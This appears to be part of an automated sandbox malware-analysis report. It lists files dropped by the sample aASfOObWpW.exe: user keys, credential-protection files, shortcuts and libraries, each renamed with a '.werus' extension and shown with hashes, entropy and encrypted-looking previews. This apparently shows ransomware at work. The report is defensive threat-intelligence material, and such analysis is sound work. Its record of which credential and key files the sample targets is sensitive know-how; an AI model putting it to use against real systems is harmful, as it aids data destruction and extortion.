SHA-512:	BB257DBC46E5C8F53702E2952CDEC98507B6E9527890B03FA7624C067E32BF5855DF39892CD008D3D90EF139CEDB9153B80C160D5DC802C76C59ED05570779FF
Malicious:	false
Preview:	..{U...?......kX...........H". .r3..G..qM...H....*.S.]7.<..Z.o

C:\Users\user\AppData\Roaming\Microsoft\Crypto\Keys\de7cf8a7901d2ad13e5c67c29e5d1662_9e146be9-c76a-4720-bcdb-53011b87bd06.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	976
Entropy (8bit):	7.827089849251569
Encrypted:	false
SSDEEP:	24:N9oiv3pe2EnQ9FnKacsiWNd3Ii0F82CusFzHzY5F:N9oi/pCMkRWsFFVV4YX
MD5:	329A3A8D751E415DBA0568D772888C7C
SHA1:	58BD779454E673DCC90DB7992C6DB8AB03388CC4
SHA-256:	64581B3A270ECE9FB0F7C72CD2C6EDD4FA56E622D05112BD4A38B2A8571C9405
SHA-512:	0B9A73DFB06D7B83859ECF9FD8A0940820D6FC1730145C547A2A3DF53EC537FAFA29130F0DFA2D0FFBA24C18F4A183A5F93E4A573DF4707F4BF52FB33B92FEE8
Malicious:	false
Preview:	...7G.A.X3._W.@V.....~=...."..?o.9.J......`..f.6V..i.X.p....c./ui.".. ...P....>...B..?....x. .I.....h...KA.i..c`..].t.N}...K...o...\:..E...-.{`.Y......s1.sw.....m..gWq.Z....W.!.S......;:......8L.2.....,e...J5H..i..I..Z..V..X..e....3.....\|o....;f.;z.@...Y-@1.._....]v.k.9..ke...!..........wF.........D....l.".."..'..q.".....H..WR1l.......{-ao_...s......)..x..2T\|..@J8.A...:.........H...x....$....3L.f..0G............B.G..]Gr"s8h..O(.;..#.j{..'..K$B4.B..g..q.5{...'}.{.......G.S..r.*.Hv...AP...H...^..!.-.....`.+z.uZ.....k...W....$...Y.s..@....U....T.h.t!J.2Z..U.].@.._z..j.R..H<...]r.?}..N:]....%^NU! 9....-.....O1.....6..>&%[f\nI.fm^S.b..R.......Z..0.e<..5U.C...$R.)..).,.^..c)..8...q\B......D.K...\.@...8.L.....=..EN...P...+Dj.z2.Vp".....9..sm..%Fc56M.79.<....zd.s.Q..r.>..W....wo...:...Q.../p....j7V../Tg.o...e..@.v.]F.D./.....4.A\|of.7..@...;..?.........t.FQt..D.;b.WB..._...9(...../.6.....s.Vv.f..u>52k4....p..\|g

C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	2320
Entropy (8bit):	7.923488017216818
Encrypted:	false
SSDEEP:	48:4wdglgkLkrJWm1EQrioi2B2lDmDtzifpsitT0+18:4ff4rJvSQtSlSDRiKi978
MD5:	AE28D031D4D4A0E8F638068C364BCE62
SHA1:	466DAC1B24B2AC0DF051DA4B2E36631E20EA120B
SHA-256:	BE3B33144DAB9F0FE3343D1A661488497CA3E0903D845C64434D0B7952011A3D
SHA-512:	D2A3FF74D8B2F170DF614EF46A8A2A29280A5A273416763FC43491A754A2A352A23F1971ED04B2705A9376975A90717773A76F08765E785664C89B822ABA4418
Malicious:	false
Preview:	.&.........r......?l...9.8.. ^:!.>?.Uj@.l...A.....1;.J..U...k-.j.y.!'...P...C....,.......R.%...A7.....S..7....bBG=4...J.U...<xd.O(d....R..9..\|.e....L.zR+i6.....l.Jo..ex../.fp....^%V..F`.qI..<P.0LG.D....7.FtG.......J.>.....c.\|..2'.Y..W...f2A.`ZAw.+..YUhnR.\|S'h..6yN...8........x==....N.al..WYA....Lk".w.E{...]..?o..%.....A.`......Q.b.L^._ .&i.d'..k.5ik..L.6(.\|..z...W.7.1G.u.9.....pm.y.}N.x<.c.v .Q..}1.&...b......_.y.@..&....'....^.....b...;`Z...I.H.9..A./.0.ebaC.\.X.I..4%.a?[..K..E.{...^....6WN...b.J....[.As....O........e..D.1.[mRo.zy..>C..'..v.=q..2}....~..E_..@D..f.dUB.:..:w,..n.L?*..3G.)..2..Q.N.i...e..........7...9.........(o)...9k..m.t.....)&,...$....i.7g.P.N...J.2w.j^'a....Jy.Q..E......z.."/....J..V.\..G .#t..1.zz....#i}.G.t..kb...<.......I..vy0(.Q.{.J..]......d.'.Uov+...I........{.]#...8.....@..E.y"..o`.%(."...(.<v....O2.0..z...Rp-f.....S........9....0.wy...#..$'.f.`.@..p)5p..G.qx(...E.;W...1%..G.I..7m.......A.....W>."P.G......7b.I.

C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Microsoft Edge.lnk.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	2384
Entropy (8bit):	7.919154729071297
Encrypted:	false
SSDEEP:	48:4KJ+2Ig6wJJv+sy/KqGhy3sCb6ZjhiZW3rZ4IgpvW0MiNxyDVnh:4Kcvgpv+Axhy336tbrZ4PWeuVnh
MD5:	10D8E5A85AD4B23F10643196175155B6
SHA1:	BA371ACF3592DDFD2991E59A4FEBCC32556EE2BF
SHA-256:	81EB67FCB045811405C8EC53D2EA994D69ECDE570E3178D5F48C7B8CB09B5489
SHA-512:	5C8FD76E8A5CF39D84364FA24D593FB58F4FBBADC9D5A24552EE2BCD45E40B222B0D5E26861C11AB0DD276C53AED2B30B1E5F9A07B2F7E5508DE0F04FFC9997E
Malicious:	false
Preview:	.&.........r...\Qm ...;^b..... .......-..1.Z......B.@.s.s1;.[.0.g..`.n...\9rTDm.!.dz.x?.f._...=..K.....,.&..Q...DT.&W\|!j....:x..za.;..'.s7.....h0..t..._LK....+.<IPN...~.im....e.=$f...".b.....j...7.".O.Xj3....6.(.V].(.Bx,...Y.8+J...4ht]......G..:i.}HN...xD.`].[A.l0{.N.i.+.!.....X.SuN./ ;^._Ba:...y.....a.o..Z.q&.^...}..`.)...2(0.t.......04CZ.R....+...]......M.U.9Q_.....,].n0.7d-...@S........3.Q....G....u.B..S..w.$..@.....b...7..0..:s=.4.O.....f..t:C...J\|......b..Sr\Z.Ii.#.........+p...".B.TU..p......G......V....$.!^1..1,j...o......TL...+..Jq.:.;..t..v../..Yd.s!#..h..w....B.f..........7.k.=7E...6r....:/.....`R.?....fA.2.k.UB].....}.[......<.K..L.i.:..(.2...@..k.....?.#...&n...g...o+8%..7s.. ......0..hU4@.;..4....I....J8.]......._..[.#...'@..[..._..wUH.n.H...g..3.......!.. .bR.D4D.... ....7.R...hN....F%.m._.%.....oD..4Y.C.%.u..q.B.n..+.$...M.,..&..Ux(...[8J.G.k.......3.....M.o..&%C.'>..G.b.k2.7C.d...z.}...%.g...n.+...J.....[.9...D.3B.C.B.

C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Shows Desktop.lnk.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	368
Entropy (8bit):	7.473409791710404
Encrypted:	false
SSDEEP:	6:4uMRorzXlajovPFEGHRTpDr9k6Xlqzsqx6e0ZaSBsfqdD88pHHVf:4uMR4zXkMvP73D5ozsqx6e0Z3GCDfpH1
MD5:	EF52A52E24FFCAE4D9BD52353CD5FE65
SHA1:	BA7B22E71C3686CFDAB4AE76BB4C5CE3FFF5C20E
SHA-256:	852FAEA0304CE7B43337DEA11D46E8F7217734E126DB8E7D913E6A8669295D33
SHA-512:	A7D3F0993B5C6131366BCFDC01E0479EACFE64B6C4CB0FFD0E22D5C3D94E5E919E90B11628471A9FED1D179FC8F19DD877E7174D091C7022C73F06DFC694A8A8
Malicious:	false
Preview:	.&.........r..........O.L..:.9J...`.}....FV...U....rW.Ze3..p..2F..L..jc.. .i..N.(l....)....6t.:..Df.c+.z.a...+.......:.......rLJ.f........YW...f...v4]$5".(.....r.....Y..w...?...L.1......l90VW....Q.&....,P0_.:%=b....*.=..p...:/_.R.g..1W.I....LL.."=.h.k..........Q.r..I>..k.6B.<.K.._... ..s...."z..N...zR..Q..........=.H2.pw/..y^8D@h.y..vg.........

C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\File Explorer.lnk.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	416
Entropy (8bit):	7.575187946575444
Encrypted:	false
SSDEEP:	12:4uMR4HQGWNECyEGC/V3XW0MGwI05yviykph:4FnEC7V/V3XW0MG700viy8
MD5:	507E444C61CC440E6380716947259EC0
SHA1:	D79B6807109C1D91FB6D2F8B13C85D1ED98CDC33
SHA-256:	42B66E0BF672263C5AC99D910DDFAFB92D0D5BF7DB5C499CF24684B51039EF02
SHA-512:	60FC080081035B1CC9A635BE253DD3ADE67A1348EBA5B5C67F91090EEB79A5964ACBAA0D417FEE073A813BFDE7832B56D10BC35BA79675EB2F5F4E7D85820749
Malicious:	false
Preview:	.&.........r..........O.L..:.9J...`.}....FV...."..'.)fIl...1...6..d....E..@.-!.2.p.">@.......t.V.&.)\.r.-...'W..F_q.I..AE*.X.z.^R....g).4.;..."a..Z....J.I.#..M.;...cS:.l...,.....].......v........T..x.d/?.......I...<.]....Y..Q.K.d2ymX...Je.[...yM..H0.wN.Z._i.=+..;.1........H.A~...UQZ...A.<m.E2..-.f[.jX..2.4K}.{..`Wg.......{..2.j-.`#....M..kM%x....\|....1..q.L".C.<:...]...[..`..\.. 4u.a.Tk../mE.....mx

C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	2336
Entropy (8bit):	7.930486605032834
Encrypted:	false
SSDEEP:	48:4mdVPLVDJpt8heUxqrmSe3jpSGlvsfdjvAlXudW7wDiK4U16FU5O9qt:4mdN8htABmjpSG1sf9IlXudWUHVHt
MD5:	FB8D172D01B2718660DAD34CF1A58DA8
SHA1:	7554DFA735686BD3F41313C2F5BF4546A5A2828B
SHA-256:	AC13F878CDB641CEBF949A1DE58686E6BCDE0C4E3F7C2CC811A02FF797674685
SHA-512:	5C88D13D285EF0F7E0FA67ABC5BEDC276A5CF2BE6357A6B331A38AF6188069DADBE61DB4B608AA8E7C37DA5F10A7F20D8426782F5051533B1111AE0DE9CA2FFC
Malicious:	false
Preview:	.&.........r......?l...9.8.. ^Qh..`..8<..a.&..)8...c.f.<d.z......s.~.%[.Z.Ji.....)..I..%~........k.......l}l.5.g.....,9....h.v..9.M.....T..@(..;..Y\".q..5...N.....(D.@...7N]/.b...,f......'Z}....U'......vi..A.". ..~M.Msl[b5........?..LY..v...!.X.jS..)X...a....5.+.1._.)ZA.mA...ADL7...j.wp......Q..n4.f.........m...._d...OL.sV+2...z...md.\E<.1$..>....N0....g.r#c9a.. .-.qj0g.w.,..Fb[....ZC}....Y...H...R.M@&..?T.z...b~qv.V.!.S^%4d..[..n...q...".}H.I...!...p.I..dC+.-..~.....67..fx....H[....~&..k.Y.....S8.)i.T.a..a.{_r...{wQ^.^Jn.i..&.Q.......OE.6...UNf...gj...XoT.^...&.E......7.d.s.i&.......h.i...K>.....y.....Gs..(..rUl...[/c....(f..q"..:.S'.....P.b..n^y.!`...W.\..G^..h...(D8..`O.......BTI!.....u".y..\|T.D.tc`...2.1vpVTV2..B..P..g.....]...W'-..+.ih.jdS....{.U..D......F.^....;.mV.f....h.....B6.!..[...........uk.s. .V....n.8.V>.."S.M..s..g.c..K.U.W....s.D.xrRma^.d}..#E.4...R.....gb...u.{.'TF.K........T...4.t...j;e..&.;j..;..k.~.J.#...N.q...d.p.

C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\desktop.ini.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	96
Entropy (8bit):	6.243765755906958
Encrypted:	false
SSDEEP:	3:WCaY0MqW5SlOIqWGnh2fLCGJZ/99n:gML5SlL52qfn
MD5:	CC95C0F63AAE01BF5C47AB545176CFCB
SHA1:	C8A56EA3EBEA90E30A39AC4F4E278B4A14FB3DB5
SHA-256:	EB20320F6FCD0EBF0809998B41E88AF9DB54BF1EE0386CCBB17A790FA5496AD2
SHA-512:	378472509AE297F0D8A6F2FC2470BDDFF559FACD6DCD2D0DC570D3E236C71CA85E87128A019F6CD478F1E798BDC261BC364E898DBEDF3BEC8E62E27A4AAD9AA4
Malicious:	false
Preview:	....w..nu.V..M.E....rT#.K..MqE.-.Y...D.G+...q.........[H..T..\p.SX...gOaz{.'...eJ5......$R.8S

C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Window Switcher.lnk.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	336
Entropy (8bit):	7.320203035902656
Encrypted:	false
SSDEEP:	6:4uMRorNfdZhCg0oHMOIzRygO+P+Y52XU0FDPjXJvKuxbiSvqhHs/9Bd:4uMR41dZf3gzRkS+OwXrXJvKuxuSvqhM
MD5:	949FB7C6C17F13FE694A82ACCC27145E
SHA1:	2BF433AC5FD77399059945C45836A01923EB5D1E
SHA-256:	CADE8A41378E6E25D483AE5286CFE5E3052BC9AC590C582514DBB18DAB2E307C
SHA-512:	2306D6B04C55925792154E084C1D558B83CCA129B7A07CFE698139FE7E5253887B64003134A4E8ABA973180B493CB9D17CAC81610D9A9499921C20C458CF4F9E
Malicious:	false
Preview:	.&.........r..........O.L..:.9J...`.}....FV.................\|-2..!.t..7..a...d.....9.X..Nj...%gj..A........0+.3.j .......^.?9.f...3+.`2.P.,.tWT..........nP.....+Y..FE.yX...M9...7..Z.....7.@l....C.V.V..f..?.F..-.<M.?m._...+..`..n.}$S..,.O.63....yl.p.)..:...TF....~..=....f..$i^...uN_.;W....O].. ..J:@....>....X.a....

C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	160
Entropy (8bit):	6.810837860444755
Encrypted:	false
SSDEEP:	3:obXsy2sU51ypMvttes/NKLSW4Td4EjoicSIPm0KoKiNZ4OWtiSueUzDA5hoBPH6V:oAy2sQ4pM14s/0LSW4TLUijI3zKoDWtr
MD5:	624BD6D04EB3294C94C003F279D2A913
SHA1:	0F2598B6A0148CF21047F0B4AB89430A06D40A1A
SHA-256:	EAC85F76CBD5ABB477E997D9BCD734B4E9A4AFFAACB918DA3DB109EDC20885EE
SHA-512:	BE74113260BCB1ECDCA9F905DC54789CE94AC87C186471468A187B409B12BC60412A2F1FFF8041E9B18D24C43F8C36DBEB8D3F05FF1C3EAF646B911E560480FC
Malicious:	false
Preview:	...~.g7+...4.)...e..FQ0.w.e8?..#:g..i.H.0.....Z.fD#.h.7D%...;8.9.W..R...wm.Qct.4.?..u....9.<../q.w...k.U...d.Xi..Cp;.6......\..Y.....{n4."_.....m..,

C:\Users\user\AppData\Roaming\Microsoft\Network\Connections\Pbk\_hiddenPbk\rasphone.pbk.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	16
Entropy (8bit):	4.0
Encrypted:	false
SSDEEP:	3:zJCP:kP
MD5:	37830DCFC3BBD37F9777865AF8B758F6
SHA1:	0FB29F5C11F2D6CFFAF855AB4ADC18D10360A0D3
SHA-256:	8572CB5C14FE04B501D54B106FED58084617983903D03A4E6452C3D3DF7624CA
SHA-512:	6D6D6BF5A3C22F25289A22A004ECF1A278E870233E0BDB8F0C70823FA921EC115D784B76FAD386348AAA326144852CD74B5B23678F0DDFD07CA8523AD37FB04F
Malicious:	false
Preview:	.<.D..Kl...T.i.

C:\Users\user\AppData\Roaming\Microsoft\Protect\CREDHIST.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	32
Entropy (8bit):	4.9375
Encrypted:	false
SSDEEP:	3:5139nk1BO+Vn:jVkiUn
MD5:	4481EED9590739E05F008515ED088483
SHA1:	090CCBC292F887AE5090A5D93E90C5E6D1FB7ABC
SHA-256:	6E717D928774858E7BE30333BF799D824E3AABA44A7687B07AEC4D0BD498C18A
SHA-512:	60978755A46355145650DBB59B6F3C16BF80B68AFF199C84A9DA55381FBF529FE89ED4A1006D9721A4947DA2DF8E51259402D6FDCFEB5DACCDA584ECADA9C3C7
Malicious:	false
Preview:	.......!..U.c..^...)]].L...j...

C:\Users\user\AppData\Roaming\Microsoft\Protect\S-1-5-21-2246122658-3693405117-2476756634-1003\1f96f985-85d7-4a7a-a053-c8e755c25d39.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	480
Entropy (8bit):	7.605159587519639
Encrypted:	false
SSDEEP:	12:a2rg08cfkuhht6yVjYz2cbJnitx9SvUhOs4p:F0GPjt6yWhnM9S8h2
MD5:	165E6D2B6093CA8A7C226931C0B46DAA
SHA1:	EBFD33A29F5248A5C7274DFCE7F70068BBC2754E
SHA-256:	8C32E34C2E45DD8B949999613F14AD78F841DDEAD0F9B047765CA8F8BF56A46E
SHA-512:	E0F2D12BDBE0BF7CE01C3AF1E7315F96907D9C6678921A70B1B00C991EF7CBD5631B3F4678F378582EC14093907232D28985298DD7EA76F29568886AFA8464EE
Malicious:	false
Preview:	..9....c..6....cZ...Hl...8.~..>.317j...A.........5.8......U.....].O...9..ae...d..\|.lX%.E....O.b..K.y......S...SW...].\.t..A.O..v,.. U.~.}.&.GT\...Z..b7x.h.#..W.4I&Z.^>.5.P4.f....JR.....6o.q...y...iS..F=....@O...j/.ga......=..'}..."......e$-Y^.OU....z.l.i../f..,.@...._..a.........FJ.z.3.,m%..f?...n.O..G.D.9..,j.../?H....v.<+..k..?....l..;sz3.9......F...:y.L^X......]\.X..@..q.cN&X...+.O...0.....}.3.......0Iw.........4..mz.j5......>l.....$V....

C:\Users\user\AppData\Roaming\Microsoft\Protect\S-1-5-21-2246122658-3693405117-2476756634-1003\Preferred.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	32
Entropy (8bit):	4.6875
Encrypted:	false
SSDEEP:	3:LT0HSmtd+:L4P+
MD5:	4E3491E7170285A208E7473F1986E3CB
SHA1:	CE87D7FBD4A2F6AC18EB9780A85AE2971BAAFB3E
SHA-256:	5841214C295C5F2F5A281EE86CF5EFFFF3882ED10112E9DA88E3D32D7CDDA9B4
SHA-512:	69685A87E352517989A0517F32BFDF8F052DC68A77B352258796CDA385EA246CDAA7B36391DDD2CA8E568967078E02AFC5EFCC561D49D5D30031A8AD2BFA6ACB
Malicious:	false
Preview:	4yN......re....^e..viGc..Ki.^.

C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\My\AppContainerUserCertRead.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	16
Entropy (8bit):	4.0
Encrypted:	false
SSDEEP:	3:zJCP:kP
MD5:	37830DCFC3BBD37F9777865AF8B758F6
SHA1:	0FB29F5C11F2D6CFFAF855AB4ADC18D10360A0D3
SHA-256:	8572CB5C14FE04B501D54B106FED58084617983903D03A4E6452C3D3DF7624CA
SHA-512:	6D6D6BF5A3C22F25289A22A004ECF1A278E870233E0BDB8F0C70823FA921EC115D784B76FAD386348AAA326144852CD74B5B23678F0DDFD07CA8523AD37FB04F
Malicious:	false
Preview:	.<.D..Kl...T.i.

C:\Users\user\AppData\Roaming\Microsoft\Windows\AccountPictures\desktop.ini.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	208
Entropy (8bit):	7.033160931989781
Encrypted:	false
SSDEEP:	6:TQ6VB292DZUSygB3ZPd43XrNEHxIIJ85MUmApM:TQ6r292DZFpBzuXrNKI0QmApM
MD5:	C49B54C8E1DBCB4164E4B7C4D00B3B43
SHA1:	BF08FF7063FB9E0013F14412311584BF1686E419
SHA-256:	6F3EDE25659F45CDE10E2D5308F39FAAFFDC341FFF8003587654CCE46E2D45D1
SHA-512:	312C25B2DD35B700A6A94C6CB5597D09FE5BFBF058FB8E339DFDE2E858E133B399EAC59644560172B8BFF02DEEA7B89B22630DC886D50FE759A2E3FFC8FCF007
Malicious:	false
Preview:	..,n]}3.....b?T..T.m>]Uw...3^.f(......{9.....HW.RY9...K.o.8..........C.A.sx'....]....E.Ts.."zj.o.Tk..q.=...ZN..?.e....v..Aj..qtE.U..r1.G..z....kG...6.L...~=....`r.h.[.Y'....X.e.Y.o._....?....+c.....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\CameraRoll.library-ms.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	7.814352973010222
Encrypted:	false
SSDEEP:	24:FQ9LKG/fgfCeWv9aBVqcmYdXJ1cBp9YCg37UWwhWt9RR/JwU:F0KGwfCXvCVqczdXzHCI7UJhWt9RZmU
MD5:	D1797A97D2D8B6D321F209C4C11F99DA
SHA1:	29083035066384B9B39972D048A11FE88FBA0085
SHA-256:	65B66C431F3425B312121387E1A718F185B0D5B58E9F8B877B2377CF97B195E8
SHA-512:	32F0D0C219F5B81CD0D33E66827A286799EF88A7F4AD4016D1EAD2C1DB4A13AEAD8A69350E8CC26B7E9EF99E4850A8863C2C69A81F3F41BA10D9A0D082D46579
Malicious:	false
Preview:	F.{.y..?...<....o$....i~u0..)..M<.a_@....&U..l...m.Q..r)=l.`....1...U........+..c..F\|...pU.)x.yM...r.+.az.x2..BT...Y..8......'....h..)..J... .d.(g.Q......S.!...(.k...A.u....\.8...M.....>cd..,].R...c.>h..]../...+U.&byk.Z.,...m...P;6.R0.B..".,..._....8..Dqh..beE@.9.{...?.....\|.....w/7.Zt...U.V.>....wU.u..f....._......t...q...7....5....C..IM.n..>..)2.\|k+z.......r.@......$..r...Bh.k7.7.4..~W.WZ\q.fQG...0......G.BV..H!.......N.....WM..fh!...zO..r.w6T.y=...".+.."~9.o.O..{nh.R0.E.c.v.B.QE.xA..I.@..j...n.D\....H..-...P8.'..gm.f^<.............m.......W<l2.f..;....n.....IJ?..J.Gh...o5....QZB...G."H.4.La.O.kD.A...$....t....D+d..(....2...E[y..k;.iY.E.Gw....$Z.O.=.....o.7...n......C.V.Pv....v.0.:......u..nNH.\A.c.hi]1...g.f.q.s..).../..iQWNo n.&G.B...[=.?.vS.}.+...i`g.N]Na...F\.$.c.?r..Lgj:.....z%....D.!y.y./.#..?T.....(.s\|..fp...v7....c<..[.\|.pB_........Y.....?l7.....r.6..+T.sE.c`....JwF..EP...S....{v.#'.F.";[.p...^}J.......g.........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Documents.library-ms.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	2112
Entropy (8bit):	7.911900621501242
Encrypted:	false
SSDEEP:	48:FYFGj4rLXBBAAqp8tUH22WNEs0kzluM3MDMXsG2YDOJ:FGGUOp8yW2WNEcluM3CMdK
MD5:	D3CFC405307055C451DE606540080461
SHA1:	4C6852BC2858646C392E106FDBA8A70CDF75C5FF
SHA-256:	A82B3570AFCF5980B06AC0A08980E81B6D73CC8E53626C3E9F9DA3A591C3880B
SHA-512:	DCD565B239481B2CCD923066BD65CF96FE037DCA0D6A0597B5E9CCF37AA754D2A671251FE4F8AEB1D58341DFB6118CA2745F60B28653E23046876F566EF5926D
Malicious:	false
Preview:	F.{.y..?...<....o$....i~u0..)..M<.a_@....&U..l...m.Q..r)=l.`....1...U........+..c..F\|...pU.)x.yM...r.+.az.xN.r.wQ..T.`%.".!/....A.j$,~..>s.;....5..U..}..e..j...S....i....k....zh.GR.V]...=.m.tP.......8...%JU..`)3...Mz..m..S..F.......A..%..._.+.b.......v...F..WRDU`.....2..7..7.....5..[.....m..a.e.?W.q(D."#M$..I....'....H."e.....1..............f^h\|e\.....H.wD......n..!c...(.8./...x.5.IZ..J....X+\.....'........i...p..!.QC\|.4....y..MW..J..C..r^..+...a.s-.\.!.KO....._J..yns..-7.hM.t.. ;..$.2~.7...j..Ru....d.1.R......[.[..s...(.b.i..n}.+....../I..3].;.(...+.0yIyv...#..T........i...."pHN<..<f..L^.&..._.RD..\|.p..B 3..e<..r.kI..Am....0-..!....P\|..z..~.l......B...w...61..{.@."..#m...R....O\|...d h.i..A...eh....0..<.......o..x.y.S..da...xe@.....F...Gp....G.....%."2.hN.s:u......B$..v...5K1?...m..R...'Y.rd.t,\..`..m..i3k....LG6.<G...(w.>...^.;.2..NVwO".4..,..\|..8D....d'...4Q....F...?>r...'ym.._.[6C.`...i.\|m..5q.. I..W%,....Ge...q.={q$..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Music.library-ms.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	2064
Entropy (8bit):	7.899588858901842
Encrypted:	false
SSDEEP:	48:FYFvGAXxcFcWgEXTdSGQK/yfJjfyENIUKEovFkQZgLLSxEYE4:FGvGrFLZXTrbYaUIv+YgvSyYB
MD5:	64719DC2882E101E00F243B509198959
SHA1:	5299A7F98EF809F58F816D1CBAF1DF7A4E46288A
SHA-256:	C92CB4139E1AEA57BCC5DBA74BE1BE97B817244CE83527A8F372E717E94963BD
SHA-512:	E510ACF07E922286D3D07D53748D65EBAC3DD4551F13BC1A0BE185D96D9FC16845CD11174B2D3C984AF2BA08A0F5696ABCB473E54E78644BB5FCAF648D7786F7
Malicious:	false
Preview:	F.{.y..?...<....o$....i~u0..)..M<.a_@....&U..l...m.Q..r)=l.`....1...U........+..c..F\|...pU.)x.yM...r.+.az.xN.r.wQ..T.`%.".!/....A.j$,~..>sX.a..jT..3.b.~>!7..3.m.....5.4Ze.l1/~.....d/m....@.R~..o.......6...D.g..>@^3......N..u.....pk..;P.!..c.v..........Mo.....C!J8.($..9T.Im.y....D.....Zt....}`x..5.L.......B.....[.7y...V....m"Ws..R.x#..d.J.ehN..<...h...q4..U.u.v...}:..x.&..w....2..Q......7B..W.S7.....i@y~.5...N.c^{.`....W....o.......&.T..D=i...HI(.Gw...!.......s..'.m..EA....>..vW..I.I..;.......'^.......DP<.P!D...q3=.IG.K..f.o.Y` C..0..........ue.....A....D.'..d..... A.......NX`y.....2.z6..).}F...9.q.o.k..ky.M.....a....i..&$).2}....o...\|&.-.E^.E.. ...\|{.:\|...5..E,.......>t)...Z\.3..~.0........8.....(.'.....v..n.0...!.vg[Zo^......[AI.D.eI...@%...K..t..].M.#o..3..0e.........`.=!..r..m.J.'..F.rA.(Ft....q.."..N..5.h.$.......`..'.gZe....+..Qh..7..7..-cM..xa..[...=]......gb..J...."..>..SN.[.[t.tu$.`...$.8.j....r............t6q!.(.....Md.._..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Pictures.library-ms.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	2080
Entropy (8bit):	7.892860685020414
Encrypted:	false
SSDEEP:	48:FYFS3+/6kdrmcueGh/rkk/U2XjRfC0LMnzt1KyW3iQ1O4a0XI:FGS3Q6kdr6eRwU2RC0Qnz6iQDY
MD5:	6307D864F14B4CA8E4376D1CB6693A5F
SHA1:	4428F9E333D381C0EEB9526DAFF4B2F166C2E4E0
SHA-256:	CE01A88F2A3014293979CC6BF1BB3064CA996DCC7708675E90339374CF8B1834
SHA-512:	7B71256E8228403D77C20A729225AA0221DC8182A52FE774AD3D40EC16C620B720BD36533EC2901446C299EE9773EEBF12DB7BA1F0FB7C71F94D168108625C05
Malicious:	false
Preview:	F.{.y..?...<....o$....i~u0..)..M<.a_@....&U..l...m.Q..r)=l.`....1...U........+..c..F\|...pU.)x.yM...r.+.az.xN.r.wQ..T.`%.".!/....A.j$,~..>s...>.x(<...]...q..`.u:Qa(.k..l.W.U...DQ..._......(.\..Qi...9.&...!P.v]....y(.;].,....:....N...y.r.].j..l.kr.....".NL.z..>...(G++$...8..Q%.V...f....5......7.fD.D...~...A....n..HN.....@P..R..9.G .IT]...a.5.a....?.)t.0.X2_..U..._../.....P6..?uQ.!0.......R..o+.0..}.V..;.Q..i....H..................<.l.Z[..$.w.{..<..l...{.~CnS."L..v..T'.8...ZT..2...l.....i..o^..if.....,......`.{..$=.B9.m+...F..hn%c6F-.............3.[.aX}...).gCa...4C1K$he.>`.d..L..5..?.........}?..?..>....UXbj....>.'u......N..0`U.....U.OTo......z..$...X.....,.l.4...p.J..3..I..88.a..G...=........-U....M.....U...M)...m..T?7..u..X.I..t..y......kh{..\N...N.(...gI0a..>..G....N..i.@7.h..EUD.^Gi.0.\|..hc.V.}. ...\......-..u..^.?..x.Q*ML..b..3Y"z4..s..r.=.p..-..0..>../.M5\I....<Q]S...g.}U=J......l....M.p)...\4...oR.@.}e...tV...Q..]..f. H....GF

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\SavedPictures.library-ms.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.819559521241998
Encrypted:	false
SSDEEP:	24:FQ9LQK/Gthvt3iPSU+6jtBxtEG8JEsgcLdondptCZ9s:F0QiGd3n6jAG0PcCDs
MD5:	A7D72C9639781278F7E740B44FDECBF8
